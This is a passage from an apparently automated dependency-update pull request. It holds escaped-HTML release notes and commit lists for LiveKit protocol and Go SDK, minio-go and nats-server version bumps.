href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd room name and start time to agent MetricsRecordingHeader - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1474\"\u003e#1474\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(rpc/room): add \u003ccode\u003eListParticipants\u003c/code\u003e and \u003ccode\u003eGetParticipant\u003c/code\u003e - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1459\"\u003e#1459\u003c/a\u003e (\u003ca href=\"https://github.com/sohbit\"\u003e\u003ccode\u003e@​sohbit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd \u003ccode\u003eFrame ID\u003c/code\u003e packet trailer feature - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1453\"\u003e#1453\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd generic list type - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1449\"\u003e#1449\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd livekit_agent_simulation service, agent remote session proto \u0026amp; cli dev proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1404\"\u003e#1404\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/blob/main/CHANGELOG.md\"\u003egithub.com/livekit/protocol's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.45.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd turn detection protobufs - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003e#1485\u003c/a\u003e (\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efix change set for eot changes - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1515\"\u003e#1515\u003c/a\u003e (\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.5\u003c/h2\u003e\n\u003ch2\u003e1.45.4\u003c/h2\u003e\n\u003ch2\u003e1.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.2\u003c/h2\u003e\n\u003ch2\u003e1.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDropping use of an affinity function in CreateSIPParticipant - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1456\"\u003e#1456\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded NoRandomness field to individual dispatch rule\u0026quot; - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1426\"\u003e#1426\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eupdate text message protocol for http endpoints - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1407\"\u003e#1407\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdding feature_flags field to InternalTransferSIPParticipantRequest, InternalCreateSIPParticipantRequest, and EvaluateSIPDispatchRulesResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1382\"\u003e#1382\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd numbers field to SIPDispatchRuleInfo for filtering calls by called number - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1351\"\u003e#1351\u003c/a\u003e (\u003ca href=\"https://github.com/civilcoder55\"\u003e\u003ccode\u003e@​civilcoder55\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/livekit/protocol/commits/v1.45.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/server-sdk-go/v2` from 2.13.3 to 2.16.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/81f5cb0c6f984a664b1215fd1da51891968c5790\"\u003e\u003ccode\u003e81f5cb0\u003c/code\u003e\u003c/a\u003e bump version to 2.16.3 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/893\"\u003e#893\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/71858c92c2ff7343d9e0243a211b2c3b185bb211\"\u003e\u003ccode\u003e71858c9\u003c/code\u003e\u003c/a\u003e Update to latest packet trailer feature format (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/878\"\u003e#878\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/0174de339de0054f5e9cc8adfb71b1f694938b5d\"\u003e\u003ccode\u003e0174de3\u003c/code\u003e\u003c/a\u003e fix(PCMLocalTrack): do not spawn goroutine until track is bound (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/892\"\u003e#892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a5b9c39dfccf7c7fb3fafe5e518b98b3e28dfb07\"\u003e\u003ccode\u003ea5b9c39\u003c/code\u003e\u003c/a\u003e feat: update msdk, add logger option to PCMRemoteTrack (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/891\"\u003e#891\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e80807faf25cad6eba03d0b48b6ebb1ed665c8a4\"\u003e\u003ccode\u003ee80807f\u003c/code\u003e\u003c/a\u003e pass environment to cloud-agents API (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/877\"\u003e#877\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/f05dbd00a1c5ebf6ec77ac7f6db4b98de8bd72a0\"\u003e\u003ccode\u003ef05dbd0\u003c/code\u003e\u003c/a\u003e fix: handle data race reported in \u003ca href=\"https://github.com/livekit/server-sdk-go/is\"\u003ehttps://github.com/livekit/server-sdk-go/is\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/fe7af253c41e59a35a97d2ec98ae68e415922688\"\u003e\u003ccode\u003efe7af25\u003c/code\u003e\u003c/a\u003e TEL-522: JoinWithToken accepts a context to be cancelled or timed out early (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/677c01ec5a6dbbe185bd35b0a90a65c41e10eba1\"\u003e\u003ccode\u003e677c01e\u003c/code\u003e\u003c/a\u003e bump version to 2.16.2 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/885\"\u003e#885\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e74087ae453e984fe000b7da818dcc77aceaf05f\"\u003e\u003ccode\u003ee74087a\u003c/code\u003e\u003c/a\u003e Update go deps (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/814\"\u003e#814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a23b81de618a8da34fc5088fd322c0086edb412d\"\u003e\u003ccode\u003ea23b81d\u003c/code\u003e\u003c/a\u003e chore: pin GHA by commit, switch to golangci-lint (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/884\"\u003e#884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/livekit/server-sdk-go/compare/v2.13.3...v2.16.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.98 to 7.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/minio/minio-go/releases\"\u003egithub.com/minio/minio-go/v7's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v7.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGetObjectAttributes: Add missing checksum \u0026amp; type by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2217\"\u003eminio/minio-go#2217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport x-minio-source-time header for getobject / statObject by \u003ca href=\"https://github.com/jiuker\"\u003e\u003ccode\u003e@​jiuker\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2219\"\u003eminio/minio-go#2219\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd new AWS checksums by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2221\"\u003eminio/minio-go#2221\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ehttps://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/f29e5687f3234ca088afedc03f4096ea50d4e10b\"\u003e\u003ccode\u003ef29e568\u003c/code\u003e\u003c/a\u003e Add new AWS checksums (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2221\"\u003e#2221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/68e87b1d1e3135495a6e6faed9d40171230c5883\"\u003e\u003ccode\u003e68e87b1\u003c/code\u003e\u003c/a\u003e support x-minio-source-time header for getobject / statObject (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2219\"\u003e#2219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d457cd49a467706fa4789028f0594853f8702523\"\u003e\u003ccode\u003ed457cd4\u003c/code\u003e\u003c/a\u003e GetObjectAttributes: Add missing checksum \u0026amp; type (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2217\"\u003e#2217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/570a610f8e0206d0bcbd00d521fa9da210f26a1d\"\u003e\u003ccode\u003e570a610\u003c/code\u003e\u003c/a\u003e Add ChecksumAlgorithm to list response (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2211\"\u003e#2211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/9ab4afb052fcdbfa8491336c81e1ffca3772e2ff\"\u003e\u003ccode\u003e9ab4afb\u003c/code\u003e\u003c/a\u003e Update signature of UpdateObjectEncryption (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/30849ad849102d5ea8d18b6ee93127607f46c616\"\u003e\u003ccode\u003e30849ad\u003c/code\u003e\u003c/a\u003e fix: honor StartAfter when listing object versions (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2212\"\u003e#2212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/2eacfe97024cf441b51220f439a7dd1651be9cce\"\u003e\u003ccode\u003e2eacfe9\u003c/code\u003e\u003c/a\u003e add SignV4WithServiceType function (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/dedfa39141e1eb0a0687a2c44a4dab7b6a9deefa\"\u003e\u003ccode\u003ededfa39\u003c/code\u003e\u003c/a\u003e tags: add MarshalJSON/UnmarshalJSON to Tags\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/4976cb36eae896a871612c1c93782a13aa64f8a9\"\u003e\u003ccode\u003e4976cb3\u003c/code\u003e\u003c/a\u003e get content encoding when available (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2208\"\u003e#2208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d75e965f5fca625630ca287613d82b61726cd98c\"\u003e\u003ccode\u003ed75e965\u003c/code\u003e\u003c/a\u003e add S3 Outposts support: Implement request signing and endpoint validation fo...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.98...v7.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via 